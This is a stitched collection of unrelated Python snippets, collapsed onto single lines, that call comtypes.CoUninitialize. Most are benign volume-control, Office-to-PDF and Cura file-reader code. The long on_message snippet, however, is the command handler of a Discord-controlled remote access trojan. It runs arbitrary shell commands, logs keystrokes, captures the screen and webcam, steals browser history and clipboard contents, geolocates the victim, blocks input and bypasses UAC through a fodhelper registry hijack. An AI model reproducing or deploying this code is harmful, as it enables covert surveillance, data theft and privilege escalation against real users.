def set_master_volume_level(level_db): comtypes.CoInitialize() try: endpoint_volume = _get_default_endpoint_volume() endpoint_volume.SetMasterVolumeLevel(level_db, None) finally: comtypes.CoUninitialize()
def get_volume_range(): comtypes.CoInitialize() try: endpoint_volume = _get_default_endpoint_volume() return endpoint_volume.GetVolumeRange() finally: comtypes.CoUninitialize()
def get_master_volume_level(): comtypes.CoInitialize() try: endpoint_volume = _get_default_endpoint_volume() return endpoint_volume.GetMasterVolumeLevel() finally: comtypes.CoUninitialize()
def __del__(self): try: if self.vrd: self.vrd.ProgramExit() except: pass comtypes.CoUninitialize()
def _convert_powerpoint2pdf(input_path, output_path): try: import comtypes import comtypes.client except ImportError: raise else: powerpoint = slides = None try: comtypes.CoInitialize() powerpoint = comtypes.client.CreateObject('Powerpoint.Application') slides = powerpoint.Presentations.Open(input_path) slides.SaveAs(output_path, FileFormat=PP_FORMAT_PDF) except WindowsError as error: raise OSError(error) except comtypes.COMError as error: raise IOError(error) finally: if slides: slides.Close() if powerpoint: powerpoint.Quit() comtypes.CoUninitialize()
def _convert_word2pdf(input_path, output_path): try: import comtypes import comtypes.client except ImportError: raise else: word = doc = None try: comtypes.CoInitialize() word = comtypes.client.CreateObject('Word.Application') doc = word.Documents.Open(input_path) doc.SaveAs(output_path, FileFormat=WD_FORMAT_PDF) except WindowsError as error: raise OSError(error) except comtypes.COMError as error: raise IOError(error) finally: if doc: doc.Close() if word: word.Quit() comtypes.CoUninitialize()
def _convert_excel2pdf(input_path, output_path): try: import comtypes import comtypes.client except ImportError: raise else: excel = wb = None try: comtypes.CoInitialize() excel = comtypes.client.CreateObject('Excel.Application') wb = excel.Workbooks.Open(input_path) wb.SaveAs(output_path, FileFormat=EX_FORMAT_PDF) except WindowsError as error: raise OSError(error) except comtypes.COMError as error: raise IOError(error) finally: if wb: wb.Close() if excel: excel.Quit() comtypes.CoUninitialize()
def __exit__(self, *ex): comtypes.CoUninitialize()
def get_volume_percent(): comtypes.CoInitialize() ev = IAudioEndpointVolume.get_default() volume = ev.GetMasterVolumeLevelScalar() comtypes.CoUninitialize() return volume * 100
def performClose(self, bError=False, options={}): """Perform the close instrument connection operation""" com.CoUninitialize() return
def teardown_request(exception): db = getattr(g, 'db', None) if db is not None: db.close() if has_comtypes: comtypes.CoUninitialize()
def _read(self, file_path): options = { "foreignFile": file_path, "foreignFormat": os.path.splitext(file_path)[1], } # Starting app and Coinit before comtypes.CoInitializeEx(comtypes.COINIT_MULTITHREADED) try: options = self.startApp(options) except Exception: Logger.logException("e", "Failed to start <%s>...", self._app_name) error_message = Message( i18n_catalog.i18nc( "@info:status", "Error while starting {}!".format( self._app_friendly_name))) error_message.show() return None # Tell the 3rd party application to open a file... Logger.log("d", "Opening file with {}...".format(self._app_friendly_name)) options = self.openForeignFile(options) # Append all formats which are not preferred to the end of the list fileFormats = self._file_formats_first_choice for file_format in self._reader_for_file_format.keys(): if file_format not in fileFormats: fileFormats.append(file_format) # Trying to convert into all formats 1 by 1 and continue with the successful export Logger.log("i", "Trying to convert into: %s", fileFormats) scene_node = None for file_format in fileFormats: Logger.log("d", "Trying to convert <%s> into '%s'", file_path, file_format) options["tempType"] = file_format # Creating a unique file in the temporary directory.. options["tempFile"] = os.path.join( tempfile.tempdir, "{}.{}".format(uuid.uuid4(), file_format.upper()), ) Logger.log("d", "Using temporary file <%s>", options["tempFile"]) # In case there is already a file with this name (very unlikely...) if os.path.isfile(options["tempFile"]): Logger.log("w", "Removing already available file, called: %s", options["tempFile"]) os.remove(options["tempFile"]) Logger.log("d", "Saving as: <%s>", options["tempFile"]) try: self.exportFileAs(options) except: Logger.logException("e", "Could not export <%s> into '%s'.", file_path, file_format) continue if os.path.isfile(options["tempFile"]): Logger.log("d", "Saved as: <%s>", options["tempFile"]) else: Logger.log("d", "Temporary file not found after export!") continue # Opening the resulting file in Cura try: reader = Application.getInstance().getMeshFileHandler( ).getReaderForFile(options["tempFile"]) if not reader: Logger.log("d", "Found no reader for %s. That's strange...", file_format) continue Logger.log("d", "Using reader: %s", reader.getPluginId()) scene_node = reader.read(options["tempFile"]) except: Logger.logException( "e", "Failed to open exported <%s> file in Cura!", file_format) continue # Remove the temp_file again Logger.log("d", "Removing temporary %s file, called <%s>", file_format, options["tempFile"]) break # Closing document in the app self.closeForeignFile(options) # Closing the app again.. self.closeApp(options) comtypes.CoUninitialize() # Nuke the instance! if "app_instance" in options.keys(): del options["app_instance"] # the returned node from STL or 3MF reader can be a node or a list of nodes scene_node_list = scene_node if not isinstance(scene_node, list): scene_node_list = [scene_node] for node in scene_node_list: self.nodePostProcessing(node) return scene_node
vol = ev.GetMasterVolumeLevelScalar() vmin, vmax, vinc = ev.GetVolumeRange() print("Volume Range (min, max, step) (dB): " "%0.4f, %0.4f, %0.4f" % (vmin, vmax, vinc)) show_vol(ev) try: print("\nIncrement the master volume") ev.VolumeStepUp() show_vol(ev) time.sleep(0.5) # To feel the impact print("\nDecrement the master volume twice") ev.VolumeStepDown() ev.VolumeStepDown() show_vol(ev) time.sleep(0.5) # To feel the impact print("\nSet the master volume to 0.75 scalar") ev.SetMasterVolumeLevelScalar(0.75) show_vol(ev) time.sleep(0.5) # To feel the impact print("\nSet the master volume to 0.25 scalar") ev.SetMasterVolumeLevelScalar(0.25) show_vol(ev) time.sleep(0.5) # To feel the impact finally: ev.SetMasterVolumeLevelScalar(vol) comtypes.CoInitialize() try: test() finally: comtypes.CoUninitialize()
def __exit__(self, type, value, traceback): comtypes.CoUninitialize()
def stop(): comtypes.CoUninitialize()
async def on_message(message): if message.channel.name != channel_name: pass else: if message.content.startswith("!kill"): if message.content[6:] == "all": for y in range(len(on_ready.total)): if "session" in on_ready.total[y]: channel_to_delete = discord.utils.get( client.get_all_channels(), name=on_ready.total[y]) await channel_to_delete.delete() else: pass else: try: channel_to_delete = discord.utils.get( client.get_all_channels(), name=message.content[6:]) await channel_to_delete.delete() await message.channel.send( f"[*] {message.content[6:]} killed.") except: await message.channel.send( f"[!] {message.content[6:]} is invalid,please enter a valid session name" ) if message.content == "!dumpkeylogger": import os temp = os.getenv("TEMP") file_keys = os.path.join(os.getenv('TEMP') + "\\key_log.txt") file = discord.File(file_keys, filename=file_keys) await message.channel.send("[*] Command successfully executed", file=file) os.remove(os.path.join(os.getenv('TEMP') + "\\key_log.txt")) if message.content == "!exit": exit() if message.content == "!windowstart": import threading global stop_threads stop_threads = False global _thread _thread = threading.Thread(target=between_callback, args=(client, )) _thread.start() await message.channel.send( "[*] Window logging for this session started") if message.content == "!windowstop": stop_threads = True await message.channel.send( "[*] Window logging for this session stopped") game = discord.Game(f"Window logging stopped") await client.change_presence(status=discord.Status.online, activity=game) if message.content == "!screenshot": import os from mss import mss with mss() as sct: sct.shot( output=os.path.join(os.getenv('TEMP') + "\\monitor.png")) file = discord.File( os.path.join(os.getenv('TEMP') + "\\monitor.png"), filename="monitor.png") await message.channel.send("[*] Command successfully executed", file=file) os.remove(os.path.join(os.getenv('TEMP') + "\\monitor.png")) if message.content == "!volumemax": volumeup() await message.channel.send("[*] Volume put to 100%") if message.content == "!volumezero": volumedown() await message.channel.send("[*] Volume put to 0%") if message.content == "!webcampic": #Downloads a file over internet which is not great but avoids using opencv/numpy which helps reducing final exe file if compiled import os import urllib.request from zipfile import ZipFile directory = os.getcwd() try: os.chdir(os.getenv('TEMP')) urllib.request.urlretrieve( "https://www.nirsoft.net/utils/webcamimagesave.zip", "temp.zip") with ZipFile("temp.zip") as zipObj: zipObj.extractall() os.system("WebCamImageSave.exe /capture /FileName temp.png") file = discord.File("temp.png", filename="temp.png") await message.channel.send("[*] Command successfully executed", file=file) os.remove("temp.zip") os.remove("temp.png") os.remove("WebCamImageSave.exe") os.remove("readme.txt") os.remove("WebCamImageSave.chm") os.chdir(directory) except: await message.channel.send("[!] Command failed") if message.content.startswith("!message"): import ctypes import time MB_YESNO = 0x04 MB_HELP = 0x4000 ICON_STOP = 0x10 def mess(): ctypes.windll.user32.MessageBoxW( 0, message.content[8:], "Error", MB_HELP | MB_YESNO | ICON_STOP) #Show message box import threading messa = threading.Thread(target=mess) messa._running = True messa.daemon = True messa.start() import win32con import win32gui import time time.sleep(1) hwnd = win32gui.FindWindow(None, "Error") win32gui.ShowWindow( hwnd, win32con.SW_RESTORE) #Put message to foreground win32gui.SetWindowPos(hwnd, win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) win32gui.SetWindowPos(hwnd, win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) win32gui.SetWindowPos( hwnd, win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW + win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) if message.content.startswith("!wallpaper"): import ctypes import os path = os.path.join(os.getenv('TEMP') + "\\temp.jpg") await message.attachments[0].save(path) ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 0) await message.channel.send("[*] Command successfully executed") if message.content.startswith("!upload"): await message.attachments[0].save(message.content[8:]) await message.channel.send("[*] Command successfully executed") if message.content.startswith("!shell"): global status import time status = None import subprocess import os instruction = message.content[7:] def shell(): output = subprocess.run(instruction, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE) global status status = "ok" return output import threading shel = threading.Thread( target=shell ) #Use of threading and a global variable to avoid hanging if command is too long to produce an output (probably a better way to do this) shel._running = True shel.start() time.sleep(1) shel._running = False if status: result = str( shell().stdout.decode('CP437') ) #CP437 Decoding used for characters like " é " etc.. print(result) numb = len(result) print(numb) if numb < 1: await message.channel.send( "[*] Command not recognized or no output was obtained") elif numb > 1990: f1 = open("output.txt", 'a') f1.write(result) f1.close() file = discord.File("output.txt", filename="output.txt") await message.channel.send( "[*] Command successfully executed", file=file) os.popen("del output.txt") else: await message.channel.send( "[*] Command successfully executed : " + result) else: await message.channel.send( "[*] Command not recognized or no output was obtained") status = None if message.content.startswith("!download"): file = discord.File(message.content[10:], filename=message.content[10:]) await message.channel.send("[*] Command successfully executed", file=file) if message.content.startswith("!cd"): import os os.chdir(message.content[4:]) await message.channel.send("[*] Command successfully executed") if message.content == "!help": await message.channel.send(helpmenu) if message.content.startswith("!write"): import pyautogui if message.content[7:] == "enter": pyautogui.press("enter") else: pyautogui.typewrite(message.content[7:]) if message.content == "!history": import os import browserhistory as bh dict_obj = bh.get_browserhistory() strobj = str(dict_obj).encode(errors='ignore') with open("history.txt", "a") as hist: hist.write(str(strobj)) file = discord.File("history.txt", filename="history.txt") await message.channel.send("[*] Command successfully executed", file=file) os.remove("history.txt") if message.content == "!clipboard": import ctypes import os CF_TEXT = 1 kernel32 = ctypes.windll.kernel32 kernel32.GlobalLock.argtypes = [ctypes.c_void_p] kernel32.GlobalLock.restype = ctypes.c_void_p kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p] user32 = ctypes.windll.user32 user32.GetClipboardData.restype = ctypes.c_void_p user32.OpenClipboard(0) if user32.IsClipboardFormatAvailable(CF_TEXT): data = user32.GetClipboardData(CF_TEXT) data_locked = kernel32.GlobalLock(data) text = ctypes.c_char_p(data_locked) value = text.value kernel32.GlobalUnlock(data_locked) body = value.decode() user32.CloseClipboard() await message.channel.send(f"[*] Clipboard content is : {body}" ) if message.content.startswith("!stopsing"): import os os.system(f"taskkill /F /IM {pid_process[1]}") if message.content == "!sysinfo": import platform info = platform.uname() info_total = f'{info.system} {info.release} {info.machine}' from requests import get ip = get('https://api.ipify.org').text await message.channel.send( f"[*] Command successfully executed : {info_total} {ip}") if message.content == "!geolocate": import urllib.request import json with urllib.request.urlopen( "https://geolocation-db.com/json") as url: data = json.loads(url.read().decode()) link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}" await message.channel.send( "[*] Command successfully executed : " + link) if message.content == "!admincheck": import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == True: await message.channel.send("[*] Congrats you're admin") elif is_admin == False: await message.channel.send("[!] Sorry, you're not admin") if message.content == "!uacbypass": import os import win32net if 'logonserver' in os.environ: server = os.environ['logonserver'][2:] else: server = None def if_user_is_admin(Server): groups = win32net.NetUserGetLocalGroups(Server, os.getlogin()) isadmin = False for group in groups: if group.lower().startswith('admin'): isadmin = True return isadmin, groups is_admin, groups = if_user_is_admin(server) if is_admin == True: print('User in admin group trying to bypass uac') import os import sys import ctypes import winreg CMD = "C:\\Windows\\System32\\cmd.exe" FOD_HELPER = 'C:\\Windows\\System32\\fodhelper.exe' COMM = "start" REG_PATH = 'Software\\Classes\\ms-settings\\shell\\open\\command' DELEGATE_EXEC_REG_KEY = 'DelegateExecute' def is_running_as_admin(): ''' Checks if the script is running with administrative privileges. Returns True if is running as admin, False otherwise. ''' try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def create_reg_key(key, value): ''' Creates a reg key ''' try: winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value) winreg.CloseKey(registry_key) except WindowsError: raise def bypass_uac(cmd): ''' Tries to bypass the UAC ''' try: create_reg_key(DELEGATE_EXEC_REG_KEY, '') create_reg_key(None, cmd) except WindowsError: raise def execute(): if not is_running_as_admin(): print( '[!] The script is NOT running with administrative privileges' ) print('[+] Trying to bypass the UAC') try: current_dir = os.path.dirname( os.path.realpath( __file__)) + '\\' + sys.argv[0] cmd = '{} /k {} {}'.format(CMD, COMM, current_dir) print(cmd) bypass_uac(cmd) os.system(FOD_HELPER) sys.exit(0) except WindowsError: sys.exit(1) else: print( '[+] The script is running with administrative privileges!' ) if __name__ == '__main__': execute() else: print("failed") await message.channel.send( "[*] Command failed : User not in administrator group") if message.content.startswith( "!sing" ): # This is awfully complicated for such a dumb command I don't know why I wasted time doing this. volumeup() from win32 import win32gui import win32con import win32gui from win32con import SW_HIDE import win32process import os link = message.content[6:] if link.startswith("http"): link = link[link.find('www'):] os.system(f'start {link}') while True: def get_all_hwnd(hwnd, mouse): def winEnumHandler(hwnd, ctx): if win32gui.IsWindowVisible(hwnd): if "youtube" in ( win32gui.GetWindowText(hwnd).lower()): win32gui.ShowWindow(hwnd, SW_HIDE) global pid_process pid_process = win32process.GetWindowThreadProcessId( hwnd) return "ok" else: pass if win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled( hwnd) and win32gui.IsWindowVisible(hwnd): win32gui.EnumWindows(winEnumHandler, None) try: win32gui.EnumWindows(get_all_hwnd, 0) except: break if message.content == "!startkeylogger": import base64 import os from pynput.keyboard import Key, Listener import logging temp = os.getenv("TEMP") logging.basicConfig( filename=os.path.join(os.getenv('TEMP') + "\\key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def keylog(): def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join() import threading global test test = threading.Thread(target=keylog) test._running = True test.daemon = True test.start() await message.channel.send("[*] Keylogger successfully started") if message.content == "!stopkeylogger": import os test._running = False await message.channel.send("[*] Keylogger successfully stopped") if message.content == "!idletime": class LASTINPUTINFO(Structure): _fields_ = [ ('cbSize', c_uint), ('dwTime', c_int), ] def get_idle_duration(): lastInputInfo = LASTINPUTINFO() lastInputInfo.cbSize = sizeof(lastInputInfo) if windll.user32.GetLastInputInfo(byref(lastInputInfo)): millis = windll.kernel32.GetTickCount( ) - lastInputInfo.dwTime return millis / 1000.0 else: return 0 import threading global idle1 idle1 = threading.Thread(target=get_idle_duration) idle1._running = True idle1.daemon = True idle1.start() duration = get_idle_duration() await message.channel.send('User idle for %.2f seconds.' % duration ) import time time.sleep(1) if message.content.startswith("!voice"): volumeup() import comtypes import win32com.client as wincl speak = wincl.Dispatch("SAPI.SpVoice") speak.Speak(message.content[7:]) comtypes.CoUninitialize() await message.channel.send("[*] Command successfully executed") if message.content.startswith("!blockinput"): import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == True: ok = windll.user32.BlockInput(True) await message.channel.send("[*] Command successfully executed") else: await message.channel.send( "[!] Admin rights are required for this operation") if message.content.startswith("!unblockinput"): import ctypes is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if is_admin == True: ok = windll.user32.BlockInput(False) await message.channel.send("[*] Command successfully executed") else: await message.channel.send( "[!] Admin rights are required for this operation")
def UnCoInit(): comtypes.CoUninitialize()